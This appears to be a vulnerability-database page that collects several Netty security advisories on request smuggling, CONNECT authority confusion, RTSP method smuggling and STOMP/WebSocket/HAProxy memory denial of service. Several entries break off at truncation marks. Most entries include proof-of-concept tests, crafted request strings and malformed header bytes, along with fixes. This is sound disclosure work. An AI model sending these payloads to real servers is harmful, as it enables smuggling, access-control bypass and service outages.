The HTTP/2 lower

[truncated]

Affected: - maven:io.netty:netty-codec-http2 affected >= 4.1.64.Final, <= 4.1.137.Final; fixed unknown - maven:io.netty:netty-codec-http2 affected >= 4.2.0.Final, <= 4.2.17.Final; fixed unknown - maven:io.netty:netty-codec-http3 affected >= 4.2.8.Final, <= 4.2.15.Final; fixed unknown

Fixed versions: see advisory

Advisory: https://github.com/netty/netty/security/advisories/GHSA-w6j8-x45j-w75f

First published (updated )
Severity
6.5
EPSS
0.47%
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

A flaw was found in Netty. A remote attacker could exploit this by sending a specially crafted HTTP request that includes control characters within the chunk-size line. This bypasses the intended strict validation, allowing the attacker to inject arbitrary HTTP requests. This vulnerability can lead to HTTP request smuggling, potentially resulting in information disclosure or other unauthorized actions.

1 / 2
Source: MITRE
First published (updated )
Severity
4

HTTP Request Smuggling due to control characters in the chunk-size line

A public GitHub Security Advisory (GHSA-rq4j-fc47-9698) describes the following issue:

Summary Netty skips strict chunk size line validation when the line has no chunk extension (;), so a chunk size line containing an embedded bare CR (e.g. 0\rX) is accepted instead of rejected, enabling HTTP request smuggling.

Details io.netty.handler.codec.http.HttpObjectDecoder#checkChunkExtensions only runs the strict validator HttpChunkLineValidatingByteProcessor when a ; is present:

java int extensionsStart = line.bytesBefore((byte) ';'); if (extensionsStart == -1) { return; }

According to RFC 9112 https://datatracker.ietf.org/doc/html/rfc9112#appendix-A

chunk-size = 1HEXDIG

PoC

java @Test public void test() { String requestStr = "POST / HTTP/1.1\r\n" + "Host: localhost\r\n" + "Transfer-Encoding: chunked\r\n\r\n" + "0\rX\r\n" + "\r\n" + "GET /smuggled HTTP/1.1\r\n" + "Host: localhost\r\n" + "Content-Length: 0\r\n" + "\r\n";

EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.USASCII)));

// Request 1 HttpRequest request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); LastHttpContent last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release();

// Request 2 (smuggled) request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); assertEquals("/smuggled", request.uri()); last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); }

Impact HTTP Request Smuggling: Attacker injects arbitrary HTTP requests

Affected: - maven:io.netty:netty-codec-http affected >=4.2.0.Final, <=4.2.17.Final; fixed unknown - maven:io.netty:netty-codec-http affected <=4.1.137.Final; fixed unknown

Fixed versions: see advisory

Advisory: https://github.com/netty/netty/security/advisories/GHSA-rq4j-fc47-9698

First published (updated )
Severity
7.5
EPSS
0.56%
Input Validation
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

A flaw was found in Netty's HTTP/2 codec. When converting HTTP/1 CONNECT requests to HTTP/2, the component incorrectly uses the Host header instead of the CONNECT authority-form request-target for the tunnel authority. A remote attacker can exploit this by supplying a different Host header, leading to a malformed HTTP/2 CONNECT request. This can bypass security controls such as tunnel allow-lists or egress policies, resulting in integrity loss.

1 / 2
Source: MITRE
First published (updated )
Severity
7
Input Validation

HTTP/1 authority-form CONNECT is translated to malformed HTTP/2 CONNECT with Host-controlled :authority

A public GitHub Security Advisory (GHSA-45h4-vhwh-fmhg) describes the following issue:

Summary

Netty's HTTP/1-to-HTTP/2 conversion does not special-case true HTTP/1 CONNECT authority-form request-targets. Instead, HttpConversionUtil.toHttp2Headers() applies the generic request conversion path to a request-target like trusted.example:443.

For example:

text CONNECT trusted.example:443 HTTP/1.1 Host: attacker.example:443

is converted to HTTP/2 headers with these security-relevant properties:

text :method: CONNECT :authority: attacker.example:443 :scheme: trusted.example :path: <present>

The exact :path value has varied across releases (/ in checked older 4.2.x releases and trusted.example:443 in current/4.2.15), but the invariant bug is stable: the CONNECT tunnel authority is taken from the HTTP/1 Host header instead of the CONNECT authority-form request-target, and Netty emits HTTP/2 CONNECT-forbidden :scheme and :path pseudo-headers.

HTTP/2 CONNECT must omit :scheme and :path, and :authority must contain the host and port from the CONNECT authority-form request-target. In a Netty-based HTTP/1-to-HTTP/2 proxy or gateway, policy that authorizes the HTTP/1 CONNECT request-target can disagree with the upstream HTTP/2 proxy, which receives the Host-controlled :authority.

Technical Details

The relevant code is codec-http2/src/main/java/io/netty/handler/codec/http2/HttpConversionUtil.java. toHttp2Headers(HttpMessage, boolean) handles HttpRequest conversion with a generic URI/request-target parser:

text String host = inHeaders.getAsString(HttpHeaderNames.HOST); ... String requestTarget = request.uri(); out.path(toHttp2Path(requestTarget)); ... setHttp2Scheme(...); setHttp2Authority(host, out); out.method(request.method().asciiName());

For CONNECT, the HTTP/1 request-target is authority-form (host:port), not an origin-form path and not an absolute URI. On the current branch, trusted.example:443 is treated as a scheme-like string for :scheme, the request-target is emitted as :path, and the HTTP/1 Host header is used for :authority. On checked older 4.2.x releases, the :path value is /, but the authority confusion and forbidden pseudo-header emission still reproduce.

Impact

In a Netty HTTP/1-to-HTTP/2 proxy/gateway path, a remote HTTP/1 client can ask to CONNECT to one authority while supplying a different Host header. Netty then builds an HTTP/2 CONNECT request whose tunnel :authority is Host-controlled and whose pseudo-header set is malformed.

This can bypass tunnel allow-lists, egress policy, backend selection, audit logic, or other security controls that validate the HTTP/1 CONNECT request-target before forwarding over HTTP/2.

This report does not claim code execution or memory corruption. The impact is integrity loss through CONNECT tunnel-target confusion at an HTTP/1-to-HTTP/2 conversion boundary.

Suggested Fix

When converting true HTTP/1 authority-form CONNECT to HTTP/2:

- set :method to CONNECT; - set :authority from the HTTP/1 CONNECT request-target authority-form; - omit :scheme and :path; - reject or ignore conflicting Host instead of allowing it to replace the CONNECT target; - add regression tests for direct toHttp2Headers(...) and outbound HttpToHttp2ConnectionHandler conversion.

The attached patched-control diff demonstrates the minimal behavior change:

evidence/minimal-connect-patched-control.diff

The patched-control run passed:

fish ./mvnw -q -pl codec-http2 \ -Dtest=Http2ConnectAuthorityFormFixedControlTest,HttpToHttp2ConnectionHandlerTest#testAuthorityFormRequestTargetHandled \ -Dsurefire.failIfNoSpecifiedTests=false \ -DskipNativeTests -DskipAutobahnTests -Dmaven.antrun.skip=true test

Affected Package/Versions

io.netty:netty-codec-http2

Confirmed affected:

- current 4.2 branch at 7bae566a93e69409697fe57fa807910ba5c9720e - 4.2.15.Final at a41f7b289ce1d697c50846f3ade3983e22b2ed40 - 4.2.2.Final at 660edeaefad4a4cedbd61584e8f668ad2d89f0b8 - 4.2.0.Final at 09e64d259c99be8b5b2a471a78f11e65eb82598a - 4.1.135.Final at f05f765d81460799c53123a207f665bf3b465171

Suggested affected ranges:

- >= 4.1.0.Final, <= 4.1.135.Final - >= 4.2.0.Final, <= 4.2.15.Final

References

- Netty security policy: https://github.com/netty/netty/security/policy - RFC 9113 HTTP/2 CONNECT method: https://datatracker.ietf.org/doc/html/rfc9113#section-8.5 - RFC 9112 authority-form: https://datatracker.ietf.org/doc/html/rfc9112#section-3.2.3 - RFC 9110 CONNECT method: https://datatracker.ietf.org/doc/html/rfc9110#section-9.3.6

CWE and CVSS

Suggested CWEs:

- CWE-20: Improper Input Validation - CWE-436: Interpretation Conflict - CWE-444: Inconsistent Interpretation of HTTP Requests

Suggested CVSS v3.1:

text CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Suggested severity: High, score 7.5.

Rationale: a network peer can trigger this in a proxy/gateway path without authentication. Integrity impact is high because CONNECT can establish a tunnel to an unintended upstream authority when forwarding policy validated a different request-target.

Duplicate Boundary

Nearby reports are distinct:

- GHSA-cg2g-fxr4-mg8m: HTTP/1 absolute-form Host mismatch to HTTP/2 :authority. - GHSA-jgph-cgq3-c627: the sibling HTTP/1 CONNECT authority-form conversion bug in netty-codec-http3. - GHSA-w6j8-x45j-w75f: HTTP/2/HTTP/3 Extended CONNECT inbound downgrade. - GHSA-gcjj-c5ff-2m72, GHSA-xf5f-3m33-p8m3, and GHSA-w424-c27v-r9mr: HTTP/2-to-HTTP/1 inbound downgrade families.

This report covers outbound HTTP/1 CONNECT authority-form conversion to HTTP/2.

Live duplicate evidence is in evidence/advisory-duplicate-check.tsv.

Local PoV

PoV file:

pov/Http2ConnectAuthorityFormHostConfusionPovTest.java

Run from a Netty checkout after copying the PoV file into codec-http2/src/test/java/io/

[truncated]

Affected: - maven:io.netty:netty-codec-http2 affected >= 4.1.0.Final, <= 4.1.137.Final; fixed unknown - maven:io.netty:netty-codec-http2 affected >= 4.2.0.Final, <= 4.2.17.Final; fixed unknown

Fixed versions: see advisory

Advisory: https://github.com/netty/netty/security/advisories/GHSA-45h4-vhwh-fmhg

First published (updated )
Severity
7.5
EPSS
0.56%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

A flaw was found in Netty. A reference-count leak in the HAProxy PROXY-v2 message decoder allows a remote, unauthenticated attacker to send specially crafted PROXY-protocol v2 headers. This can lead to memory exhaustion, resulting in a Denial of Service (DoS) for the affected system.

1 / 2
Source: MITRE
First published (updated )
Severity
7.5
EPSS
0.46%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

A flaw was found in Netty RtspDecoder. The RtspMethods.valueOf() function incorrectly strips trailing control bytes from method tokens in Real-Time Streaming Protocol (RTSP) requests. A remote attacker can exploit this by sending a specially crafted RTSP request, leading to method-token smuggling. This vulnerability allows an attacker to bypass method-based access controls and can also be used to launder malicious requests through Netty-based RTSP proxies, making them appear legitimate to backend systems.

1 / 2
Source: MITRE
First published (updated )
Severity
7

HAProxy PROXY-v2 nested-TLV grandchild ByteBuf reference-count leak (incomplete fix of PR #16881)

A public GitHub Security Advisory (GHSA-j58c-g352-8h4p) describes the following issue:

Summary PR #16881 introduced releaseDeep(...) (recursive release of a TLV tree) and converted the flattened-list call sites to release nested PP2TYPESSL TLVs correctly. However the inner catch inside readNextTLV (HAProxyMessage.java:340) still calls the flatten-unaware releaseTlvs(encapsulatedTlvs). There, encapsulatedTlvs is a non-flattened list of a single SSL TLV's direct children, where a child may itself be an HAProxySSLTLV holding grandchildren. releaseTlvs' skip-counter (HAProxyMessage.java:277) is designed only for the flattened top-level list; on this tree-shaped list it treats a child SSL TLV's grandchild-count as a skip over the following siblings and never releases the grandchildren. When a later sibling TLV is malformed and the inner catch fires, the retained grandchild slice (e.g. an ALPN TLV under a nested SSL TLV) is leaked, keeping the underlying header ByteBuf retained.

Reachability / trust boundary Remote, unauthenticated: HAProxyMessageDecoder (a ByteToMessageDecoder) parses PROXY-protocol v2 header bytes from the peer/upstream at the pipeline edge. The decoder documents no trusted-input assumption. Reference-count leaks while parsing nested PP2 TLVs from attacker-supplied bytes are an accepted Netty vulnerability class with a direct High precedent (GHSA-h2qv-fj59-j46j).

Impact Each crafted header leaks the grandchild slice, pinning the underlying pooled buffer. Sustained malformed headers accumulate leaked/pinned memory → memory-exhaustion DoS.

Honest caveat: demonstrated impact is exactly one pinned buffer per crafted connection (refCnt 2 vs 1); the DoS is reached by repetition/flooding (no per-message amplification). PROXY-protocol listeners are conventionally fronted by trusted upstream infrastructure, which narrows the realistic attacker population — but Netty as a library makes no such trust assumption.

Fix One-line change on the error path: use the existing releaseDeep(encapsulatedTlvs) instead of releaseTlvs(encapsulatedTlvs) in the readNextTLV inner catch. It runs only on the exception path, releases each tree node exactly once (the list is only ever populated via add, never addAll of an SSL child's list, so it is strictly tree-shaped — no double-free), and cannot affect valid PROXY traffic.

Proof of Concept Minimal 52-byte PROXY-v2 header: signature + ver/cmd=0x21 + TCP4 + 12 address/port bytes, then an outer PP2TYPESSL TLV containing client+verify and a nested SSL child holding a 1-byte ALPN grandchild, followed by a malformed sibling TLV that forces the inner catch.

java / Copyright 2024 The Netty Project The Netty Project licenses this file to you under the Apache License, version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at: https://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. / package io.netty.handler.codec.haproxy;

import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import org.junit.jupiter.api.Test;

import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertThrows; import static org.junit.jupiter.api.Assertions.assertTrue;

/ F001 - grandchild {@link ByteBuf} refCnt leak on the PROXY-v2 nested-SSL-TLV error path (module codec-haproxy, {@code HAProxyMessage.readNextTLV}). <p>When {@code readNextTLV} parses an SSL TLV it collects its immediate children into a NON-flattened list ({@code encapsulatedTlvs}). If a later sibling is malformed the inner catch releases that list with {@code releaseTlvs}, whose skip-counter assumes a FLATTENED list. A child that is itself an SSL TLV therefore has its grandchildren skipped and never released, leaking the grandchild's retained slice of the shared header buffer.</p> <p>Oracle: after the error-path decode throws, {@code header.refCnt()} is {@code 2} (grandchild slice still retained = leaked) on the vulnerable tree, and {@code 1} (grandchild released) once the inner catch releases recursively.</p> / public class HAProxyTLVGrandchildLeakF001Test {

/ A minimal (52-byte) PROXY-v2 header whose top-level SSL TLV encapsulates a child SSL TLV (holding one ALPN grandchild) followed by a malformed sibling SSL TLV that forces the error path. Every byte below is load-bearing; see the F001 evidence bundle. / private static byte[] malformedHeader() { return new byte[] { // -- 12-byte v2 signature (decodeHeader only skipBytes(12); contents unchecked) -- 0x0D, 0x0A, 0x0D, 0x0A, 0x00, 0x0D, 0x0A, 0x51, 0x55, 0x49, 0x54, 0x0A, 0x21, // verCmd: version 2, PROXY command 0x11, // protFam: AFIPv4 + STREAM (TCP4) 0x00, 0x0C, // addressInfoLen = 12 (min for IPv4; does not bound the TLV region) 0x00, 0x00, 0x00, 0x00, // src addr 0.0.0.0 0x00, 0x00, 0x00, 0x00, // dst addr 0.0.0.0 0x00, 0x00, // src port 0x00, 0x00, // dst port // -- outer SSL TLV: type 0x20, len 21 -- 0x20, 0x00, 0x15, 0x00, // client 0x00, 0x00, 0x00, 0x00, // verify // ---- child SSL TLV: type 0x20, len 9 (a grandchild-holder) ---- 0x20, 0x00, 0x09, 0x00, // client 0x00, 0x00, 0x00, 0x00, // verify // ------ ALPN grandchild

[truncated]

Affected: - maven:io.netty:netty-codec-haproxy affected <= 4.2.17.Final; fixed unknown - maven:io.netty:netty-codec-haproxy affected <= 4.1.137.Final; fixed unknown

Fixed versions: see advisory

Advisory: https://github.com/netty/netty/security/advisories/GHSA-j58c-g352-8h4p

First published (updated )
Severity
7

Netty RtspDecoder Method-Token Smuggling via Trailing Control Byte

A public GitHub Security Advisory (GHSA-h75q-xqrh-59rf) describes the following issue:

Summary RtspMethods.valueOf() silently strips trailing control bytes (any character with code point <= 0x20, the full range that String.trim() removes) before performing a cache lookup against its ten pre-populated method constants. A wire-delivered RTSP request whose method token ends with a trailing control byte — for example PLAY\x00 or PLAY\r, immediately before the separating space — is decoded by RtspDecoder as a fully successful PLAY request, with decoderResult().isSuccess() == true and request.method() == RtspMethods.PLAY (same object reference as the cached singleton). The application layer cannot distinguish this from a clean PLAY request.

This is the same root cause as #16723 and #16971, in a sibling that those fixes did not reach. The fix for HttpMethod hardened HttpMethod.valueOf() directly, but RtspMethods.valueOf() has its own independent checkNonEmptyAfterTrim() call that runs before the cache lookup — meaning a trailing-control-byte token hits the cache before the hardened HttpMethod constructor ever sees it.

Reproduction

Minimal wire-level reproduction

Send the following raw bytes to any Netty-based RTSP server using RtspDecoder:

PLAY\x00 rtsp://target/stream RTSP/1.0\r\n CSeq: 1\r\n \r\n

The \x00 is a literal NUL byte (0x00) immediately before the space that separates the method from the URI. \r (0x0D) produces the same outcome.

Expected (correct) behavior: decode failure, decoderResult().isSuccess() == false. Actual behavior: successful decode, request.method() returns the RtspMethods.PLAY singleton.

Confirmed via EmbeddedChannel test

java byte[] data = ("PLAY\u0000 rtsp://172.20.184.218:554/stream RTSP/1.0\r\n" + "CSeq: 1\r\n\r\n") .getBytes(StandardCharsets.ISO88591);

EmbeddedChannel ch = new EmbeddedChannel(new RtspDecoder()); ch.writeInbound(Unpooled.wrappedBuffer(data));

HttpObject res = ch.readInbound(); // res instanceof HttpRequest → true // request.decoderResult().isSuccess() → TRUE (should be false) // request.method() == RtspMethods.PLAY → TRUE (same reference — cache hit)

Run against netty/netty branch 4.2 at HEAD 775ad710da:

DEBUG decoderResult = success DEBUG method = PLAY DEBUG method == RtspMethods.PLAY (same ref)? true

Root cause

The vulnerable path in RtspMethods.valueOf() (line 127, RtspMethods.java): java

public static HttpMethod valueOf(String name) { name = checkNonEmptyAfterTrim(name, "name").toUpperCase(Locale.US); HttpMethod result = methodMap.get(name); if (result != null) { return result; // <-- cache hit; hardened HttpMethod constructor never runs } else { return HttpMethod.valueOf(name); // hardened path — too late for cached names } }

ObjectUtil.checkNonEmptyAfterTrim() is defined as: java public static String checkNonEmptyAfterTrim(final String value, final String name) { String trimmed = checkNotNull(value, name).trim(); return checkNonEmpty(trimmed, name); }

String.trim() strips every character with code point <= 0x20 from both the leading and trailing ends. A token of "PLAY\u0000" (5 chars) becomes "PLAY" (4 chars), matches the cache key, and returns RtspMethods.PLAY without ever reaching HttpMethod's constructor, which was hardened in #16723 to reject exactly this class of byte.

Why splitInitialLine does not filter this

The base decoder's splitInitialLine tokenises the request line on space-class separators (SP, HT, VT, FF, CR). NUL (0x00) is not in the separator table (SPLENIENTBYTES). A token of "PLAY\u0000" is therefore extracted as a 5-character string with the NUL fully intact, and handed verbatim to RtspDecoder.createMessage() → RtspMethods.valueOf(). The NUL is only stripped by trim() inside checkNonEmptyAfterTrim, at which point the cache lookup has already been set up to succeed.

All ten cached RTSP method names are affected by the trailing-edge placement: DESCRIBE, ANNOUNCE, SETUP, PLAY, PAUSE, TEARDOWN, GETPARAMETER, SETPARAMETER, REDIRECT, RECORD.

Impact Direct: method-based access control bypass

Any Netty-based RTSP server or proxy that makes authorization or routing decisions based on request.method() is vulnerable to having those decisions bypassed. An attacker sends SETUP\x00 or PLAY\x00 where the application's ACL layer would have rejected a clean SETUP or PLAY, but RtspDecoder delivers a successfully-decoded request carrying the trusted cached singleton.

Proxy laundering

When a Netty-based RTSP proxy receives PLAY\x00 ... and re-encodes it for forwarding, RtspEncoder calls request.method().asciiName() — which returns the clean ASCII name from the cached singleton. The backend server receives a completely clean PLAY with no trace of the original NUL. Upstream WAFs or logging infrastructure that saw the raw PLAY\x00 may flag or log it, but anything downstream of the Netty decoder sees a legitimate request and cannot reconstruct that the original token was malformed.

Not affected

HttpServerCodec / HttpRequestDecoder (Spring WebFlux and all HTTP/1.1 Netty servers): createMessage calls HttpMethod.valueOf() directly, not through RtspMethods. Not in scope.

HTTP/2 and HTTP/3 pipelines: independent header validation, not affected. RtspVersions.valueOf(): correctly fixed in #16971, no trim() call present.

Keep-alive connections / pipelined requests: the SKIPINITIALLINECHARS guard re-enters via resetNow() between messages and applies identically to every request on a keep-alive connection — confirmed by test feeding a clean first message followed by a leading-NUL second message on the same EmbeddedChannel.

the second message is rejected by the same InvalidLineSeparatorException path as a first-message leading-NUL. The trai

[truncated]

Affected: - maven:io.netty:netty-codec-http affected >=4.2.0.Final, <=4.2.17.Final; fixed unknown - maven:io.netty:netty-codec-http affected <=4.1.137.Final; fixed unknown

Fixed versions: see advisory

Advisory: https://github.com/netty/netty/security/advisories/GHSA-h75q-xqrh-59rf

First published (updated )
Severity
6.5
EPSS
0.34%
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

A flaw was found in Netty's HTTP/1 decoder. Incomplete validation of malformed Transfer-Encoding headers allows a remote attacker to perform HTTP request smuggling. By sending specially crafted HTTP requests, an attacker can inject arbitrary HTTP requests, potentially bypassing security controls or accessing unauthorized resources.

1 / 2
Source: MITRE
First published (updated )
Severity
4

Incomplete validation of malformed Transfer-Encoding allows HTTP request smuggling

A public GitHub Security Advisory (GHSA-hcvj-94mj-jp5c) describes the following issue:

Summary

Netty's HTTP/1 decoder still accepts some malformed Transfer-Encoding values where chunked is present but is not the final transfer coding. This appears to be an incomplete fix / bypass of CVE-2026-42585 / GHSA-38f8-5428-x5cv. The canonical case Transfer-Encoding: chunked, gzip is rejected, but multi-line and pseudo-suffix variants are still accepted and decoded as chunked, which can lead to HTTP request smuggling in parser-differential deployments.

Details

The issue is in io.netty.handler.codec.http.HttpObjectDecoder#readHeaders.

Current behavior uses two different checks:

- HttpUtil.isTransferEncodingChunked(...) detects an exact chunked token anywhere in any Transfer-Encoding field. - readHeaders(...) then checks whether chunked is last by testing whether the last raw Transfer-Encoding field value ends with the string chunked.

This suffix check is not equivalent to parsing the final transfer-coding token.

Examples that are incorrectly accepted:

Transfer-Encoding: chunked Transfer-Encoding: gzip This is semantically equivalent to Transfer-Encoding: chunked, gzip, where chunked is not final.

Transfer-Encoding: chunked, xchunked

The final transfer coding is xchunked, not chunked, but the raw value ends with chunked.

RFC 9112 requires request messages where chunked is not the final transfer coding to be rejected with 400 and the connection closed.

PoC you can run this code TransferEncodingSmugglingReproducer.java

Impact HTTP Request Smuggling: Attacker injects arbitrary HTTP requests

This can be used as the fix patch netty-te-final-token.patch

Affected: - maven:io.netty:netty-codec-http affected >=4.2.0.Final, <=4.2.17.Final; fixed unknown - maven:io.netty:netty-codec-http affected <=4.1.137.Final; fixed unknown

Fixed versions: see advisory

Advisory: https://github.com/netty/netty/security/advisories/GHSA-hcvj-94mj-jp5c

First published (updated )
Severity
7

STOMP codec content-length long-to-int truncation causes infinite decode loop DoS

A public GitHub Security Advisory (GHSA-hmf3-49g9-g7qq) describes the following issue:

Vulnerability

In StompSubframeDecoder.java, the contentLength field is long (line 80) but alreadyReadChunkSize is int (line 78). At line 149, the remaining length is computed with a truncating cast:

java private long contentLength = -1; // long private int alreadyReadChunkSize; // int

// Line 149 int remainingLength = (int) (contentLength - alreadyReadChunkSize);

At line 233-238, getContentLength() accepts any non-negative long with no upper bound:

java private static long getContentLength(StompHeaders headers) { long contentLength = headers.getLong(StompHeaders.CONTENTLENGTH, 0L); if (contentLength < 0) { throw new DecoderException(...); } return contentLength; // No upper bound! Can be Long.MAXVALUE }

Attack Scenario

A STOMP frame with content-length: 2147483648 (Integer.MAXVALUE + 1):

1. contentLength = 2147483648L, alreadyReadChunkSize = 0 2. remainingLength = (int)(2147483648L) = -2147483648 (int truncation wraps negative) 3. toRead > remainingLength → any positive > -2147483648 → true → toRead not capped 4. (alreadyReadChunkSize += toRead) >= contentLength → small int vs huge long → false (never terminates) 5. alreadyReadChunkSize is int → eventually overflows, making termination impossible 6. Decoder produces chunks infinitely

Impact

- Infinite loop DoS: Decoder never finishes the frame, blocking all subsequent STOMP frames - Memory exhaustion: Chunk objects accumulate unbounded - CPU exhaustion: Endless decode iterations - Default configuration: No configuration changes needed

Affected Code

- codec-stomp/.../StompSubframeDecoder.java:78,80,149,233-238

Suggested Fix

Add upper bound in getContentLength(): java if (contentLength > Integer.MAXVALUE) { throw new DecoderException("content-length exceeds maximum"); } Or change alreadyReadChunkSize to long.

Affected: - maven:io.netty:netty-codec-stomp affected >= 4.2.0.Final, <= 4.2.17.Final; fixed unknown - maven:io.netty:netty-codec-stomp affected <= 4.1.137.Final; fixed unknown

Fixed versions: see advisory

Advisory: https://github.com/netty/netty/security/advisories/GHSA-hmf3-49g9-g7qq

First published (updated )
Severity
7

Unbounded Per-Connection Queue Growth in WebSocketServerExtensionHandler Leads to Denial of Service

A public GitHub Security Advisory (GHSA-2g37-3h88-55hc) describes the following issue:

Summary

WebSocketServerExtensionHandler keeps a per-channel Queue<List<WebSocketServerExtension>> field named validExtensions. It offers one entry for every inbound HttpRequest and polls one entry only when the application later writes an HttpResponse. Nothing bounds the queue. A remote, unauthenticated peer that uses HTTP/1.1 pipelining to send requests faster than the application produces responses grows the queue without limit until the JVM exhausts heap and dies with OutOfMemoryError.

The affected handler is the base class of WebSocketServerCompressionHandler, the standard handler applications add to enable permessage-deflate. Any server that supports WebSocket compression is exposed on its plain HTTP port, before any WebSocket upgrade completes and before any authentication the application may perform.

Details

The queue is declared as per-connection state in codec-http/src/main/java/io/netty/handler/codec/http/websocketx/extensions/WebSocketServerExtensionHandler.java:

java private final Queue<List<WebSocketServerExtension>> validExtensions = new ArrayDeque<>(4);

It is filled on the inbound path, once per request, with no size check of any kind:

java protected void onHttpRequestChannelRead(ChannelHandlerContext ctx, HttpRequest request) throws Exception { List<WebSocketServerExtension> validExtensionsList = null; ... if (validExtensionsList == null) { validExtensionsList = Collections.emptyList(); } validExtensions.offer(validExtensionsList); // unbounded super.channelRead(ctx, request); }

It is drained only on the outbound path, once per response:

java protected void onHttpResponseWrite(ChannelHandlerContext ctx, HttpResponse response, ChannelPromise promise) throws Exception { List<WebSocketServerExtension> validExtensionsList = validExtensions.poll(); ... }

Three properties make this remotely drivable rather than merely untidy.

The fill rate is under the attacker's direct control and the drain rate is not. onHttpRequestChannelRead runs on the I/O thread the instant bytes are decoded, whereas onHttpResponseWrite runs only when the application chooses to write a response. Any application that does asynchronous work before responding, which is the common case for a WebSocket endpoint that consults a database or an auth service, drains strictly slower than an attacker can fill.

The offer happens for every HttpRequest, not only for WebSocket upgrades. When the request is not an upgrade the handler still offers, using Collections.emptyList(). Plain GET requests to any path therefore grow the queue.

The handler removes itself from the pipeline only after a successful 101 Switching Protocols response. A peer that never completes an upgrade keeps the handler, and its queue, alive for the whole life of the connection.

Supplying a valid Sec-WebSocket-Extensions: permessage-deflate offer makes each entry a real ArrayList holding a PerMessageDeflateServerExtension instance rather than the shared empty-list singleton, which is what raises the per-entry cost from a queue slot to roughly 100 bytes.

Proof of concept

PocPipelineQueue.java in this report drives the released io.netty:netty-codec-http:4.2.17.Final artifact through EmbeddedChannel and reads the queue depth reflectively. It runs three stages. Build and run with the attached pom.xml:

mvn -q -B compile exec:java

Observed output:

[websocket] WebSocketServerCompressionHandler requests in : 200000 responses written : 0 validExtensions depth : 200000 retained heap growth : 17.9 MiB (94 bytes/request) bound enforced : NO

[control] HttpContentCompressor requests accepted : 128 refused with : IllegalStateException: maxPipelineDepth exceeded: 128 bound enforced : yes

[raw wire] HttpServerCodec + WebSocketServerCompressionHandler pipelined requests : 50000 bytes sent on the wire : 9750000 (195 bytes/request) validExtensions depth : 50000 retained heap growth : 4.8 MiB reachable from network : YES - decoded HTTP bytes alone drive the queue

The first stage shows the queue growing one-to-one with inbound requests and never stopping.

The second stage is a control. HttpContentCompressor maintains a structurally identical per-connection queue and already carries a depth bound, so running the same harness against it shows what a bounded handler does: it refuses the 129th request. Because the control refuses and the WebSocket handler does not, the difference is the missing bound in the WebSocket handler and not an artifact of how the harness feeds requests.

The third stage removes any doubt about network reachability. It feeds raw pipelined HTTP bytes through a real HttpServerCodec, exactly as they would arrive from a socket, with the application consuming each request and writing nothing back. Decoded HTTP bytes alone drive the queue to 50,000 entries.

Impact

A remote, unauthenticated attacker holding one TCP connection open can force the server to retain roughly 100 bytes of heap per pipelined request, for the lifetime of that connection, with no upper limit. Memory is reclaimed only when the connection closes, so an attacker who keeps connections open and keeps pipelining drives the server to OutOfMemoryError. Spreading the same traffic across many connections multiplies the effect and keeps any single connection from looking anomalous.

This is unbounded accumulation rather than an amplification bomb. The per-request heap cost is slightly below the per-request wire cost, so the attacker spends bandwidth roughly in proportion to the memory consumed. What makes it a denial of service is that the accumulation has no ceiling and is never released while the connection lives, so the attacker converts

[truncated]

Affected: - maven:io.netty:netty-codec-http affected >= 4.1.88.Final, <= 4.1.137.Final; fixed unknown - maven:io.netty:netty-codec-http affected >= 4.2.0.Final, <= 4.2.17.Final; fixed unknown

Fixed versions: see advisory

Advisory: https://github.com/netty/netty/security/advisories/GHSA-2g37-3h88-55hc

First published (updated )
Severity
7

ByteBuf Leak in StompSubframeDecoder When a Frame Body Is Never Terminated

A public GitHub Security Advisory (GHSA-ghg5-c4jg-8q5j) describes the following issue:

Summary

StompSubframeDecoder allocates a chunk buffer from the channel allocator once a frame's declared content-length has been satisfied, and parks it in an instance field while it waits for the single NUL byte that terminates the frame. If that byte never arrives, nothing ever releases the buffer. The decoder overrides neither handlerRemoved0 nor channelInactive, so the buffer survives the connection that created it.

A remote peer leaks one allocator buffer per connection by sending a complete, well-formed frame body and simply not sending its terminating byte. With the default pooled allocator the memory is never returned to the pool, so it is not reclaimed when the peer disconnects and not reclaimed by garbage collection. The leak accumulates for the lifetime of the process.

Details

In codec-stomp/src/main/java/io/netty/handler/codec/stomp/StompSubframeDecoder.java:

java case READCONTENT: ... if (contentLength >= 0) { int remainingLength = (int) (contentLength - alreadyReadChunkSize); if (toRead > remainingLength) { toRead = remainingLength; } ByteBuf chunkBuffer = readBytes(ctx.alloc(), in, toRead); // allocated if ((alreadyReadChunkSize += toRead) >= contentLength) { lastContent = new DefaultLastStompContentSubframe(chunkBuffer); // parked in a field checkpoint(State.FINALIZEFRAMEREAD); } ... // Fall through. case FINALIZEFRAMEREAD: skipNullCharacter(in); // needs one more byte ... out.add(lastContent); resetDecoder();

The class is a ReplayingDecoder. When the body is complete but the trailing NUL has not arrived, skipNullCharacter(in) throws a replay Signal so the decoder can be re-entered with more input. lastContent is left holding the allocated buffer, which is correct while the connection is alive and more data may still arrive.

The problem is what happens if more data never arrives. Three things combine:

Signal extends Error, not Exception. The catch (Exception e) block in decode(..) releases lastContent on failure, but a replay signal is not an Exception, so that path does not run.

resetDecoder() sets lastContent = null without releasing it, which is correct on the success path because ownership has already passed to out at that point, but it means the field is never a release site.

StompSubframeDecoder overrides neither handlerRemoved0 nor channelInactive. ByteToMessageDecoder.handlerRemoved releases the cumulation buffer, but knows nothing about this decoder's own field, so nothing releases lastContent at teardown.

